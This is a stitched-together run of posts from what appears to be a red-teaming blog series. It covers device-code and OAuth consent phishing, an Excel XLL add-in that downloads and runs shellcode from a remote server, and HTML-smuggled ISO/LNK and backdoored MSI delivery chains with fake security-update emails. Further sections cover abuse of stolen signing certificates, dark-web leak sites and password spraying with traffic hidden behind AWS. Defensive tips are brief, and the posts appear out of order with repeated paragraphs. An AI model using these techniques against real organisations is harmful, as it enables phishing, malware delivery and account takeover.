Dynamic Device Code Phishing improves this by generating the user_code only when the user clicks the phishing link, ensuring the code is always fresh and dramatically increasing the success rate.

To set up Dynamic Device Code Phishing, it will take a long time, so I will summarize it:

• Deploy a static website (e.g., using Azure Static Web Apps) that fetches a fresh device_code and user_code via an API call when visited.
• The website sends the device_code to a Function App (triggered over HTTP) inside the attacker's Azure tenant (nomoreoil.onmicrosoft.com).
• The Function App continuously monitors the authentication status, automatically requesting access tokens once the victim authenticates.
• If successful, the tokens are saved into a Storage Account Table Service for later retrieval.

Example Infrastructure Setup:

3.1 Static Website — Hosts the phishing page and uses jQuery to fetch device codes dynamically.

3.2 Function App — Handles device code monitoring and token harvesting using PowerShell.

3.3 Storage Account — Stores the captured access tokens securely.

This method ensures the phishing operation remains valid for longer, maximizing the window of opportunity to capture valid tokens.

4. Consent and Permissions Phishing (OAuth Consent Grant)

In a Consent Phishing attack, instead of stealing the user’s credentials, the attacker tricks the user into granting OAuth permissions to a malicious application, allowing the attacker direct access to the user’s account data.

⚡ Recent Incidents:
In April 2025, major cybersecurity reports highlighted Russian APT groups exploiting Microsoft OAuth frameworks for large-scale espionage operations:

The Hacker News reported that attackers created rogue OAuth apps and tricked users into granting access, leading to unauthorized access to Microsoft 365 data without triggering normal credential theft detections. (Source)

Volexity’s detailed analysis described how threat actors phished for OAuth codes and abused Microsoft’s Device Code flow and OAuth workflows to maintain stealthy, persistent access inside cloud environments. (Source)

Consent and Permissions Phishing is extremely dangerous because it allows long-term access even after password resets or traditional incident response actions.

How the Attack Works (Example Flow)

4.1 Attacker registers a malicious app in Azure AD (or Google Cloud / any OAuth provider).

• Example: “SecureMail Reader” or “Company Document Viewer”.

4.2 Attacker crafts a malicious OAuth Consent URL like this:

https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=ATTACKER_APP_ID
&response_type=code
&redirect_uri=https://attacker-website.com/callback
&response_mode=query
&scope=Mail.Read%20offline_access%20User.Read
&state=random_state_value

Key parts:

• client_id = Attackers' app ID
• scope = Sensitive permissions like Mail.Read, offline_access, Files.Read, User.Read
• redirect_uri = Attackers' server to capture the authorization code

4.3 Victim receives a phishing email like:

“You need to authorize SecureMail Reader to continue accessing your company emails securely. Click here to approve.”

4.4 Victim clicks the link and sees a legitimate Microsoft or Google OAuth consent screen requesting the permissions (because the app is real but malicious).

4.5 Victim clicks “Accept” thinking it’s normal.

4.6 Attacker receives an OAuth authorization code, exchanges it for an access token, and can now:

• Read all the victim’s emails (Mail.Read)
• Access OneDrive files (Files.Read)
• Profile information (User.Read)
• Refresh tokens silently (offline_access)

⚡ No need for username or password — just abuse the granted access token.

Realistic Example Scenario

• The attacker registers an app called “Work From Home Secure Portal”.
• Sends the victim an email saying:

“Due to new work-from-home policies, all employees must authorize the new Secure Portal app by clicking below.”

• The link brings them to the real Microsoft OAuth consent screen, requesting: Mail.Read and Files.Read and offline_access
• The victim clicks “Accept” — thinking it’s legitimate.
• Attacker can now read all emails, download sensitive files, and refresh access without user interaction.

Key Techniques Used:

• Legitimate OAuth flow (no password stealing)
• Social engineering through trust (real Microsoft page)
• Abuse of permissions granted by the user (not technical vulnerabilities)

How to Defend Against It:

• Enable OAuth app consent policies (require admin approval for risky apps)
• Restrict third-party app registrations
• Educate users about unexpected consent requests
• Monitor OAuth grants in the organization

Why These Attacks Work

Modern identity systems trust tokens more than passwords:

• Once a session token is issued after 2FA, it’s treated as valid until expiry.
• OAuth apps are often trusted too much (users rarely read scopes carefully).
• Defenders monitor logins — but not always app grants or token theft.

Thus, post-authentication artifacts are the new target.

Real-World APT Examples: Who Uses These Techniques?

Advanced threat actors and APT groups are increasingly adopting phishing techniques that bypass traditional MFA through OAuth abuse, session hijacking, and advanced cloud-targeted methods. Some real-world examples include:

Advanced threat actors and APT groups are increasingly adopting phishing techniques that bypass traditional MFA through OAuth abuse, session hijacking, and advanced cloud-targeted methods. Some real-world examples include

• In February 2025, Storm-1295 (Microsoft naming)—Engaged in device code phishing targeting Microsoft 365 users to bypass MFA and gain persistent cloud access without needing user passwords.
• In April 2025, Russian hackers exploited Microsoft OAuth applications by registering rogue apps and phishing users for consent grants, bypassing passwords, MFA, and traditional detection.
• APT29 (Cozy Bear)—Famous for using consent and permissions phishing attacks during campaigns targeting government and healthcare sectors, including the 2020 SolarWinds-related operations.
• Midnight Blizzard (Nobelium)—Conducted sophisticated OAuth consent phishing campaigns, creating rogue apps to harvest emails, files, and cloud resources.
• Unattributed Threat Actors—Regular use of Evilginx2 and similar MITM phishing kits to steal session cookies from executives (C-level) in fintech, technology, and defense sectors.
• Crimson Kingsnake — Utilized dynamic device phishing tactics, impersonating legal and financial brands to execute advanced BEC (Business Email Compromise) attacks, bypassing MFA protections.

These real-world cases show that advanced phishing campaigns are no longer rare — they are an essential part of modern APT initial access toolkits, especially against cloud-first and hybrid organizations.

Final Thought

Mastering modern phishing attacks requires more than spoofed login pages.

As organizations continue their journey into cloud ecosystems, adversaries are shifting their tactics to attack identity, sessions, and user trust rather than just passwords.
Techniques like Device Code Phishing and Consent Grant Attacks expose the weakness of relying solely on MFA, while Evilginx2 demonstrates the dangerous potential of live session hijacking.
For defenders and red teams alike, understanding and simulating these attack paths is crucial to building true resilience against modern threats.

Next: Eyes open — we dive deeper into the shadows, shifting from 2FA bypasses into hardcore credential theft, unleashing Browser-in-the-Browser (BitB) illusions, Click-Fix exploits, and Captcha Copy-Paste traps in Part 8.

If you find this blog useful, don’t forget to hit the clap button and follow the blog.

Certifications:
OSEC3, CRTL, CRTO, OSCP, OSEP, OSWE, OSED, eMAPT … Others

Follow me on LinkedIn & Twitter(X) to stay updated and to know new things.

Bye Bye, Take Care.

Mastering Modern Red Teaming Infrastructure Part 7: Advanced Phishing Techniques for 2FA Bypass… was originally published in SUDOROOT on Medium, where people are continuing the conversation by highlighting and responding to this story.

For years, Microsoft Office Macros have been a staple initial access vector in red team operations and real-world APT campaigns. However, Microsoft has made significant efforts to mitigate this risk. Starting in 2022 and continuing into 2023 and 2024, Microsoft progressively disabled macros by default for files downloaded from the internet — rendering legacy macro-based payloads nearly obsolete.

So… are we done with Excel-based payloads?

Absolutely not.

Red teamers adapt. That’s what we do.

In this article, I’ll show you how to leverage XLL (Excel Add-in) files as a payload delivery method, bypassing macro restrictions entirely. We’ll break down a real XLL payload that downloads and executes shellcode directly when the .xll is opened in Excel — no macros, no VBA, no warning dialogs.

📌 Real-world Note:

This technique is documented in the MITRE ATT&CK framework under sub-technique T1137.006: Office Application Startup: Add-ins.
APT groups like TA410 and commodity malware like Dridex have used .xll payloads to bypass macro restrictions and achieve stealthy execution.

https://thehackernews.com/2022/12/apt-hackers-turn-to-malicious-excel-add.html

Table of Contents

1. Why Did Microsoft Disable Macros?
2. What Is an XLL File?
3. Why .xll Bypasses Macro Restrictions
4. 💻 POC Steps With Full Code Breakdown: Excel Shellcode Loader via XLL
5. Red Teaming Impact
6. Defenders, Beware
7. Final Thought

1. Why Did Microsoft Disable Macros?

In response to the abuse of macros in phishing and malware campaigns, Microsoft began enforcing stricter controls:

• Macros from the internet are blocked by default in Office.
• Files flagged with the Mark of the Web (MoTW) are opened in Protected View.
• Even in enterprise environments, admins must explicitly enable macros now.

While this was a major win for defenders, it pushed red teams and threat actors to evolve.

Enter XLL files.

2. What Is an XLL File?

.xll is an Excel Add-in — a compiled binary (DLL) with exported functions that Excel can call. It behaves like a plugin that extends Excel with custom features or functions.

Why is this interesting?

• XLLs do not require macros to be enabled.
• When opened in Excel, XLLs automatically call the xlAutoOpen() function.
• They can contain native code, shellcode loaders, or even reverse shells.
• Antivirus and EDR tools often overlook XLL behavior.

This makes .xllpayloads a powerful alternative to macro-based delivery.

One disadvantage of XLL files is that they can only be loaded by Excel with the correct bit. For example, a 64-bit XLL can only be loaded by the 64-bit version of Excel. The same goes for 32-bit versions. Therefore, malware authors have to rely on the Excel version that is installed on the victim’s machine.

Like with VBA macros, Excel will warn the user about the security concern arising from executing the add-in. In that aspect, it has no advantage for malware compared to VBA macros.

3. Why .xll Bypasses Macro Restrictions

• Excel Add-Ins (.xll) are NOT VBA macros.
• They are compiled native DLLs, written in C/C++.
• When an .xll is loaded, Excel executes it automatically via exported functions like xlAutoOpen() — independently of macro settings.

📌 Macro settings in Excel control VBA and XLM macros only, not native DLLs.

4. 💻 POC Steps With Full Code Breakdown: Excel Shellcode Loader via XLL

Generate shellcode from Sliver and host it to be downloaded and injected

Open listener

Here’s a working example on my GitHub profile that you can compile into FinancePlugin1.xll. When the user opens this .xll file in Excel, it downloads shellcode from a remote server and executes it in memory.

AV-EDR-bypass-payloads/XLL-payloads/xll-shellcode.cpp at main · 0xFFF-cmd/AV-EDR-bypass-payloads

x86_64-w64-mingw32-g++ -std=c++11 xll_shellcode2.cpp -o FinancePlugin1.xll -shared -lwinhttp -static-libgcc -static-libstdc++ -s

Compiled xll file

Double click to open it and choose enable this add-in for this session only

Then the beacon session will start in sliver C2 backend

5. Red Teaming Impact

Using .xll payloads brings several advantages:

• Works when macros are disabled
• Can bypass sandbox and EDR detections
• Doesn’t rely on Office scripting engines
• Easy to deploy with social engineering or phishing campaigns

Pro tip:

• Sign your .xll file and use a legitimate-looking name like FinanceAnalysisAddin.xll
• To bypass Mark-of-the-Web (MoTW), place the .xll file inside a container such as .zip archive.
• Host your shellcode using TLS (HTTPS) and behind redirector
• Use encryption or obfuscation inside the shellcode buffer with stealth techniques such as system calls.

6. Defenders, Beware

If you’re a blue teamer or SOC analyst, make sure to:

• Monitor .xll file executions
• Inspect calls to xlAutoOpen
• Block or restrict unknown add-ins from being loaded in Excel

7. Final Thought

Who said Excel payloads are dead?

Just because macros are disabled doesn’t mean the war is over. With .xll files, we now have a macro-less, stealthy, and potent payload vector to deliver in phishing or targeted red team operations.

Remember — red teaming is all about adapting to change.

Excel isn’t dead — we just upgraded.

Next: Stay sharp — we’re moving from Malicious DLL Execution Bypassing Macro Restrictions to Advanced Fishing to bypass 2FA through evilginx , Device code phishing, dynamic device code phishing and Consent and Permissions Attacks in Part 7.

If you find this blog useful, don’t forget to hit the clap button and follow the blog.

Certifications:
OSEC3, CRTL, CRTO, OSCP, OSEP, OSWE, OSED, eMAPT … Others

Follow me on LinkedIn & Twitter(X) to stay updated and to know new things.

Bye Bye, Take Care.

Mastering Modern Red Teaming Infrastructure Part 6: Simulated APT Initial Access via Excel XLL… was originally published in SUDOROOT on Medium, where people are continuing the conversation by highlighting and responding to this story.

As red teamers simulate modern APTs, we must continuously evolve our initial access techniques to bypass increasingly advanced detection layers. From email security sandboxes to endpoint protection, every defense layer challenges us to operate with greater stealth and precision.

In Part 5, we dive into payload development and hardening by crafting two advanced delivery scenarios inspired by real APT tradecraft. The Objective is to Simulate APT-style payload delivery chains to achieve Initial Access by:

• Bypass Mark-of-the-Web (MoTW) protection
• Bypass SmartScreen protection
• Evade email sandboxes
• Escape web proxies and content filters
• Achieve execution with minimal user interaction

Each scenario is designed to reflect APT-level evasion and initial access techniques, giving you practical insight into how sophisticated threat actors operate — and how you can replicate those behaviors in your simulations.

Table of Contents

1. Introduction
2. Context: Why This Matters
3. Scenario 1: Payload Delivery as PDF via HTML Smuggling, ISO Container & LNK Trigger

• 3.1 Generate Your Payload (Sliver C2)
• 3.2 Choose a Decoy PDF
• 3.3 Create a Trigger .lnk File
• 3.4 Build ISO Container with PackMyPayload
• 3.5 Wrap ISO in HTML Smuggling
• 3.6 Send the HTML Smuggling Link via Email

4. Scenario 2: Security Update — ZIP Container with Backdoored MSI Installer

• 4.1 Build Backdoored MSI
• 4.2 Archive in a ZIP Container
• 4.3 Create Smuggled HTML Loader
• 4.4 Email Template

5. Lessons from the Trenches

6. Bypassing Windows SmartScreen Protections via Payload Signing

7. Modifying Signatures and Attributes to Evade Detection

8. Final Thoughts

2. 🌐 Context: Why This Matters

Threat actors targeting the Middle East, especially Saudi Arabia’s fintech and critical infrastructure sectors, have recently deployed similar techniques:

• MuddyWater (APT-C-53) has embedded scripts in documents and fake software updates to deliver backdoors. Source: https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-055a
• APT34 (OilRig) and Ghostwriter, also known as UNC1151 and Storm-0257, used ISO and ZIP containers to bypass Microsoft’s MoTW-based defenses and have used LNK files and HTML smuggling for credential theft and payload staging. Source: https://attack.mitre.org/techniques/T1204/002/ and https://www.microsoft.com/en-us/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks/

Our scenarios emulate these APT groups to simulate the realistic threat landscape Saudi organizations are facing today.

Note: While no direct public attribution links HTML smuggling + ISO/LNK payload chains to APT34 or UNC1151, these methods are built using tradecraft inspired by multiple APT campaigns observed in the wild.

3. Scenario 1: Payload Delivery as PDF via HTML Smuggling, ISO Container & LNK Trigger

“APT operators don’t send EXEs. They send believable content wrapped in clever packaging.”

Execution Flow:

1. ISO downloaded via HTML smuggling

2. User opens ISO > sees only trigger.pdf (actually an LNK)

3. User clicks LNK > payload runs silently + decoy PDF opens

🛠️ Chain Creation Workflow

3.1 Generate Your Payload “Sliver C2”

Set up the Sliver C2 listener and generate a payload. Ensure the listener is active and ready to receive new sessions.

3.2 Choose a Decoy PDF

Decoy allows the attacker to continue the social engineering context with the user. So instead of running a file, seeing nothing, and getting suspicious, the user sees something that they’re expecting to.

Below I created a sample PDF named decoy.pdf with sample content.

3.3 Create a Trigger .lnk

A Shell Link (.lnk) is a special Windows shortcut file format designed to launch programs or files. What makes .lnk files particularly deceptive is that their extensions are hidden in Windows Explorer, even when the “show file extensions” option is enabled. This allows attackers to disguise malicious files with names like contract.pdf.lnk, which appears to the user as just contract.pdf.

Use PowerShell to craft a .lnk that:

· Disguises itself as a PDF (via icon and name)

· Launches both the payload.exe and the decoy.pdf

Then .lnk file created and when the .lnk file run will trigger payload.exe and will show to the victim decoy.pdf

Let’s change the icon of trigger.pdf.lnk to appear as a normal PDF file.

• 1. Right-click on trigger.pdf.lnk and select Properties.
• 2. Click on the “Change Icon…” button.
• 3. In the path field, browse to your PDF application. For example, if you’re using Foxit PDF Reader, enter the following path: C:\Program Files (x86)\Foxit Software\Foxit PDF Reader\FoxitPDFReader.exe
• 4. Select the standard PDF icon from the list and click OK. “This makes the .lnk file appear just like a regular PDF document, enhancing the disguise.”

Place all files (payload, decoy, LNK) in the same directory

3.4 Build ISO Container with PackMyPayload

This step is to bundle all the files — the payload, decoy PDF, and the trigger (trigger.pdf.lnk)— into a single ISO container. This method offers several advantages:

• Bypasses Mark-of-the-Web (MoTW): ISO files opened locally do not apply MoTW by default, helping evade SmartScreen and sandbox restrictions.
• Delivers all components together: Ensures everything is packaged cleanly for delivery.
• Supports file hiding: You can hide the payload and decoy inside the ISO, so the victim will only see and interact with the trigger.PDF

This approach increases stealth and improves the chances of successful execution on the target machine.

Contents of the ISO:

• payload.exe (hidden)
• decoy.pdf (hidden)
• trigger.lnk.pdf(LNK – visible) A shortcut file crafted with a PDF icon and misleading filename (appears as a legitimate PDF to the user). When clicked, it executes the hidden payload and simultaneously opens the decoy PDF to maintain credibility.

3.5 Wrap ISO in HTML Smuggling

By delivering the ISO file through JavaScript-based HTML smuggling, the payload can bypass email sandboxes, attachment restrictions, content filtering mechanisms, and proxies.

3.6 Send the HTML Smuggling Link via Email

• Host index.html on a reputable domain
• Craft a phishing email with an internal-looking pretext

Example Pretexts:

• “🔹 Invoice & Signed Contract — Q2”
• “🔹 Secure Document: Internal Use Only”

When clicked:

• The ISO is downloaded via HTML smuggling
• When opened, the user sees only the trigger.pdf
• Clicking launches the hidden payload and shows the decoy

index.html page that will download the file.iso automatically

When a user visitsindex.html, the file.iso is downloaded automatically.

When file.iso is clicked, it mounts automatically, displaying only trigger.pdf to the user.

When trigger.pdf is opened, it launches the hidden payload while displaying a decoy document to avoid suspicion.

🔍 Why It Works

• HTML smuggling reconstructs payloads on the browser side, bypassing traditional scanners.
• ISO files bypass MoTW tagging on many Windows versions.
• Shell Links (.lnk) masquerade as trusted PDFs while executing code.
• Decoy PDF preserves the social engineering narrative, avoiding suspicion.

4. Scenario 2: Security Update — ZIP Container with Backdoored MSI Installer

“Nothing triggers urgency like a security patch.”

Execution Flow:

1. User clicks link > ZIP downloaded via HTML smuggling
2. User extracts ZIP > sees “Microsoft Security Update” MSI
3. User installs MSI > payload executes silently
4. Beacon established > optional decoy installer screen appears

🛠️ Chain Creation Workflow

4.1 Build Backdoored MSI

backdoor payload.exe in UpdateInstaller.msi

To exploit this, we need to package a Sliver payload into an MSI installer that will be installed and executed with SYSTEM privileges

UpdateInstaller.msi after build in release folder

When itUpdateInstaller.msi is executed, the installation process will begin, and the Sliver payload will be executed silently in the background.

4.2 Archive in a ZIP Container

The ZIP file is crafted to appear legitimate, using a filename such as Microsoft_Security_Update_KB70121.zip. Inside, it contains a signed-looking UpdateInstaller.msipayload. This approach helps:

• Bypass MoTW
• Evade automated scanners and sandboxes by requiring manual extraction.
• Add a layer of social engineering by mimicking official Microsoft updates.
• Delay detection by blending into common IT workflows or patch management schemes.

4.3 Create Smuggled HTML Loader

Develop an HTML page that uses HTML smuggling to bypass security controls and silently drop a ZIP file (e.g., Microsoft_Security_Update_KB70121.zip) to the victim's device, as illustrated above.

4.4 Email Template

🎭 Pretext: User receives a fake internal email:

• Subject: “URGENT: Microsoft Security Update KB70121” or “Important Security Update for Endpoint Compliance — Action Required”
• Body:

Dear User,

A critical Microsoft security update is available for your system. Please install it as soon as possible.

[Install Update]

IT Department

🔍 Why It Works

• ZIP bypasses sandbox previewing behavior due to extra interaction required.
• MSI appears trusted, and AV often doesn’t flag well-structured MSI installers.
• Urgency from “Security Update” pretext increases click-through rates.

📌 Hardening Tips:

• Add digital signature lookalikes
• Bind with legitimate MSI-based installers (ex: 7-Zip)
• Use misleading ProductName in metadata (e.g., “Microsoft Defender Update Tool”)

5. Lessons from the Trenches

• No chain, no gain: Single-stage payloads are dead in modern environments.
• Red teams must think like vendors — craft believable, high-quality artifacts.

6. Bypassing Windows SmartScreen Protections via Payload Signing

A highly effective technique for evading Windows SmartScreen and basic security controls during the initial access phase is payload signing. This method relies on signing malicious payloads with valid digital certificates to increase trust and reduce the likelihood of detection.

Methods for Obtaining Code-Signing Certificates

A highly effective technique for evading Windows SmartScreen and basic security controls during the initial access phase is payload signing. This method relies on signing malicious payloads with valid digital certificates to increase trust and reduce the likelihood of detection.

1. Establishing Shell Companies
   Threat actors may create and register fake or dormant business entities to legitimately acquire code-signing certificates from trusted Certificate Authorities (CAs). Although this approach demands significant time and operational resources, it provides a reliable and stealthy method for signing payloads.
2. Leveraging Leaked or Stolen Certificates
   Compromised certificates can often be found through:

• Data breaches
• Public repositories (e.g., GitHub)
• Misconfigured cloud storage (e.g., public AWS S3 buckets)
• Underground forums or communities (e.g., cheat development sites)
  These certificates can be repurposed to sign payloads and bypass SmartScreen and other basic defenses.

7. Modifying Signatures and Attributes to Evade Detection

Beyond legitimate or stolen signing certificates, attackers can also manipulate the metadata of binaries to enhance their legitimacy and evade detection mechanisms.

Attribute Spoofing

Attackers can alter binary attributes to mimic those of trusted Microsoft system binaries (e.g., ComSvcConfig.exe). This spoofing increases the perceived trustworthiness of the file and may assist in bypassing both user scrutiny and basic endpoint detection systems.

Tooling and Automation

Tools such as MetaTwin19 can automate the modification of digital signatures and binary metadata, making malicious files appear as if they are signed by Microsoft. This can be particularly effective in bypassing:

• Static signature-based detection
• Basic sandbox analysis

8. Final Thoughts

These advanced initial access chains blend deception, layering, and anti-analysis tactics to bypass modern defenses. Whether it’s a fake PDF or a security patch, the goal remains the same: establish a beachhead and do it quietly.

These two delivery scenarios mirror techniques real APTs are actively using. For internal red team assessments, using HTML smuggling + containerized payloads offers a powerful way to test your organization’s detection controls realistically.

if you find this blog useful, don’t forget to hit the clap button and follow the blog.

Certifications:
OSEC3, CRTL, CRTO, OSCP, OSEP, OSWE, OSED, eMAPT … Others

Follow me on LinkedIn & Twitter(X) to stay updated and to know new things.

Bye Bye, Take Care.

Mastering Modern Red Teaming Infrastructure Part 5: Initial Access Reloaded: Red Team Payload… was originally published in SUDOROOT on Medium, where people are continuing the conversation by highlighting and responding to this story.

In this part of the series, we focus on Open-Source Intelligence (OSINT) techniques to collect victim emails, validate identities, and perform external password spraying. The goal is to leverage public sources, Darkweb leaks, and enumeration techniques to build a target list and assess exposed credentials. The test will be on sud0root.com and megabigtech.com domains while maintaining OPSEC.

After collect the email we will perform password spraying against:
✅ Microsoft Azure Entra ID (formerly Azure AD).
✅ Other external Identity Providers (IdPs) such as ADFS, Okta, and PingFederate.

Table of Contents

1. Automated Tools: theHarvester & Intelligence Gathering Sources
2. LinkedIn: Mining Employee Data for Phishing & Password Spraying
3. Corporate Contact Sites
4. Dark Web & Credential Leaks: Past Breaches as an Attack Vector
5. Validating Emails: Microsoft Teams & Azure AD (Microsoft Entra ID) & Hunter.io
6. Final Step: External Password Spraying on Microsoft Entra ID & Other IdPs

1. Automated Tools: theHarvester & Intelligence Gathering Sources

1.1 To start gathering emails we will start by using theHarvester on megabigtech.com:

theHarvester -d megabigtech.com -l 300 -b all

1.2 Hunter.io & Snov.io — web-based services to find corporate emails and verify validity

2. LinkedIn: Mining Employee Data for Phishing & Password Spraying

LinkedIn is a goldmine for gathering corporate employee details. The OPSEC strategy involves:
🔹 Using a VPN and a fake LinkedIn profile to avoid detection.
🔹 Searching for employees of the target organization.
🔹 Extracting names, titles, departments, and locations to create email file formats.

2.1 Manual Search on LinkedIn by target organization name

Based on OSINT findings, we can generate email permutations file:

<lastname><first_initial><second_initial>@domain.com  
<first_name>.<last_name>@domain.com  
<first_name>@domain.com

Example:
If we find an employee named Faris Faisall, possible email formats include:

faris.faisall@sud0root.com
f.faisall@sud0root.com
faris@sud0root.com

2.2 Automated

Tools like BridgeKeeper can scrape employee names from LinkedIn profiles and other sources to convert them into potential usernames and can Convert an already generated list of names to username

Gather employee names for a company, Example Ltd., and convert each name into an ‘flast’ username formatted email:

bridgekeeper.py --company "Example, Ltd." --format {f}{last}@example.com --depth 10 --output example-employees

Gather employee names and email addresses from search engines and Hunter.io:

bridgekeeper.py --company "Example, Ltd." --domain example.com --api {API_KEY} --depth 10 --output example-employees

Convert an already generated list of names to usernames:

bridgekeeper.py --names names.txt --format {@example.com">f}{last}@example.com --output example-employees

3. Corporate Contact Sites

Many companies have public contact directories listing employee names, emails, and roles. These can be found on:
🔹 Company “About Us” pages
🔹 Press releases & blogs
🔹 Job postings (which may list internal email formats)

For example hunter site identified info@sud0root.com from corporate contact sites

4. Dark Web & Credential Leaks: Past Breaches as an Attack Vector

Compromised emails and passwords from past breaches often reveal corporate credentials.

4.1 First check if emails were leaked in past breaches using below Useful sources:
✅ https://haveibeenpwned.com/ and https://intelx.io and https://leakcheck.io/ sites

These sources will tell me if the email has been breached or not and where it breach. If breached, I will search the breaded data on the Pastebin or dark web by breach name

4.2 Pastebin & Telegram — often used to dump credentials.

In recent times, platforms like Pastebin and Telegram have become repositories for leaking data from various breaches. For instance, the email address found previously during OSINT marcus@megabigtech.com, associated with megabigtech.com demo lab, was found in a breach disclosed on Pastebin.

4.3 Dark Web forums — marketplaces for compromised credentials.

Caution: When accessing dark web platforms, ensure you do so responsibly and in strict adherence to all applicable laws and regulations. Unauthorized activities or misuse can result in severe legal consequences, so always align your actions with established legal and ethical standards.

First open VPN then start tor service then open torbrowser-launcher

Due to the frequent takedowns of hidden services and .onion sites by authorities I’m using the below site to search for new onion sites and leaked data and compromised credentials during red teaming.

http://tor66sewebgixwhcqfnp5inzp5x5uohhdy3kvtnyfxc2e5mxiuh34iid.onion/search?q=leak+data

Some darkweb leaked credentials sites I’m using, and I found it useful

http://darkleakyqmv62eweqwy4dnhaijg4m4dkburo73pzuqfdumcntqdokyd.onion/
http://7ukmkdtyxdkdivtjad57klqnd3kdsmq6tp45rrsxqnu76zzv3jvitlqd.onion/
http://hackeoyrzjy3ob4cdr2q56bgp7cpatruphcxvgbfsiw6zeqcc36e4ryd.onion/
http://ransomocmou6mnbquqz44ewosbkjk3o5qjsl3orawojexfook2j7esad.onion/
http://5odv4qjwkhpv3obbtqlgjsk3xfcr6llfvu6dfn6u4e5umhjd3flikgid.onion/
http://ux7z5awxtjr45bxtbuegyrwprndt5jigchlothsjparbj5jypz56wcid.onion/
http://craf75ymkprmhrb5j42n2oluyteejneibffuz6zgfr3mzw4obk2f3oyd.onion/
http://rnsm777cdsjrsdlbs4v5qoeppu3px6sb2igmh53jzrx7ipcrbjz5b2ad.onion/

Additionally, there are advanced dark web monitoring services and tools available but need subscription. it can efficiently and automatically perform all of the tasks mentioned above.

💡 If we find an employee’s reused password from a past breach, we can do credentials stuffing attack or attempt authentication against:

• Microsoft 365 (Entra ID)
• Okta, PingFederate, or ADFS
• VPN, OWA, or other externally exposed services

5. Validating Emails: Microsoft Teams & Azure AD (Microsoft Entra ID) & Hunter.io

To verify which emails are valid and active, we can:

5.1 Use Hunter.io’s email verification API.

Click on verify email address

Then it says it is verified and valid email address

5.2 Check Microsoft Teams “External Access” to see if an email exists.

Microsoft Teams Validation: Open Microsoft Teams and try adding an external contact. If the email is valid, Teams will auto-complete the name. If not, Teams returns an error.

🚀 Key Insight: If Teams auto-completes, the email is valid and in use — making it a prime candidate for password spraying or phishing.

5.3 Using AADInternals module to confirm if user exist on azure or not (so email is valid or not)

Final Step: External Password Spraying on Microsoft Entra ID & Other IdPs

Many organizations utilize Azure AD and Microsoft 365 to leverage integrated tools like Teams and Office applications, which enhance collaboration and productivity.

5.1 Confirm Target using Azure AD: To determine whether a client is using Azure Entra ID (formerly Azure Active Directory) or other Identity Providers (IdPs), we will use the AADInternals PowerShell module. This tool allows you to query the client’s domain to ascertain if it’s configured as ‘Managed’ or ‘Federated’. A ‘Managed’ domain indicates that Azure AD handles authentication directly, while a ‘Federated’ domain signifies that authentication is managed by an external IdP, such as Active Directory Federation Services (ADFS), Okta, or PingFederate.

Install AADInternals Module on PowerShell

Install-Module -Name AADInternals -Force -AllowClobber
Import-Module AADInternals
Get-Command -Module AADInternals

The below sud0root and megabigtech.com using managed authentication which means they using Azure AD to handles authentication directly

also we can use manual method to enumerate tenant and confirm target using Azure AD by visit this API:

https://login.microsoftonline.com/getuserrealm.srf?login=sud0root.com

5.2 For ‘Managed’ domains “Likely indicates a native cloud setup.”: you can employ tools like Go365 to perform password spraying attacks. Go365 is designed to conduct user enumeration and password guessing attacks on organizations utilizing Office 365.

Password spray on megabigtech.com. and it will detect if user valid or not also it will detect valid username and password.

Yuki.Tanaka@megabigtech.com and MegaDev79$ password is valid

5.3 For ‘Federated’ domains (strong indicator of a hybrid setup): the approach will depend on the specific IdP in use. Each IdP may have unique endpoints and authentication mechanisms, necessitating tailored strategies for password spraying. It’s crucial to research and understand the specific IdP’s authentication flow to effectively conduct such assessments

In a recent engagement, I encountered a client utilizing federated authentication for their Office 365 services. Instead of authenticating directly through Azure Entra ID (formerly Azure Active Directory), their authentication requests were redirected to a different endpoint, as specified in the Security Token Service (STS) configuration.

To assess the security of this setup, I employed Burp Suite’s Intruder tool to perform a password spraying attack. Also, By crafting a custom script to simulate standard web authentication requests, I was able to analyze the responses and identify valid credentials based on specific indicators in the server’s replies. So, you can use burp intruder or write custom script.

I removed the sts complete link from screenshot because this is sensitive information

5.4 My OPSEC during password spray (Rotating Source IP using AWS API Gateway)

To enhance operational security (OPSEC) during password spraying assessments, one effective method I using involves utilizing AWS API Gateway to obscure the origin of the traffic. By setting up an API Gateway in AWS to route authentication requests to the target service, such as Microsoft’s authentication API, each request appears to originate from a dynamic IP address within AWS’s IP range. This approach not only conceals the true source of the password spraying activity but also diminishes the likelihood of detection by the target’s security mechanisms, as the traffic blends in with legitimate AWS-originated requests.

Next: Stay sharp — we’re moving from OSINT, credential harvesting, and password spray to Payload Development and Hardening to Evade Detection (no chain no gain) in Part 5.

if you find this blog useful, don’t forget to hit the clap button and follow the blog.

Certifications:
OSEC3, CRTL, CRTO, OSCP, OSEP, OSWE, OSED, eMAPT … Others

Follow me on LinkedIn & Twitter(X) to stay updated and to know new things.

Bye Bye, Take Care.

Mastering Modern Red Teaming Infrastructure Part 4: Advanced OSINT Techniques, Credential… was originally published in SUDOROOT on Medium, where people are continuing the conversation by highlighting and responding to this story.

In this installment of the “🔒 Mastering Modern Red Teaming Infrastructure” series, we explore setting up and securing mail services for our domain online-notifications.net domain using DNS records such as SPF, DKIM, and DMARC, while implementing robust operational security (OPSEC) measures to bypass mail security gateways effectively. This guide walks through linking Zoho Mail with online-notifications.net domain that hosted on Cloudflare and creating a mail user account to operate stealthy phishing campaigns or other red team activities.

Table of Contents

1. 🔎 Why Secure Mail Services Matter for Red Team Operations
2. Step 1: Setting Up Zoho Mail for online-notifications.net domain
3. Step 2: Adding MX, SPF, DKIM, and DMARC Records on Cloudflare
4. Step 3: Implementing OPSEC Measures to Bypassing Mail Security Gateways
5. Final Thoughts

🔎Why Secure Mail Services Matter for Red Team Operations

Email remains one of the most effective vectors for social engineering, credential harvesting, and phishing. To ensure the success of such campaigns, it’s critical to:

• Establish credibility by sending emails from a verified domain.
• Avoid detection by email security systems (e.g., spam filters, DMARC validation).
• Maintain OPSEC by securing the infrastructure to avoid attribution.

By correctly implementing SPF, DKIM, and DMARC records and adding OPSEC, you can significantly ⬆ increase the deliverability of your emails while ⬇ minimizing the risk of exposure.

⚙️Step 1: Setting Up Zoho Mail for online-notifications.net domain

1. Create a Zoho Account

Open Zoho Mail and Register for an account using personal email.

Select a plan (Zoho was offering a free plan but now they changed their policy, so I will select 15 days free trial). (note: you can use other mail services. for example https://www.name.com provide free mail service)

Select a plan (Zoho was offering a free plan but now they changed their policy, so I will select 15 days free trial). (note https://www.name.com provide free mail service)

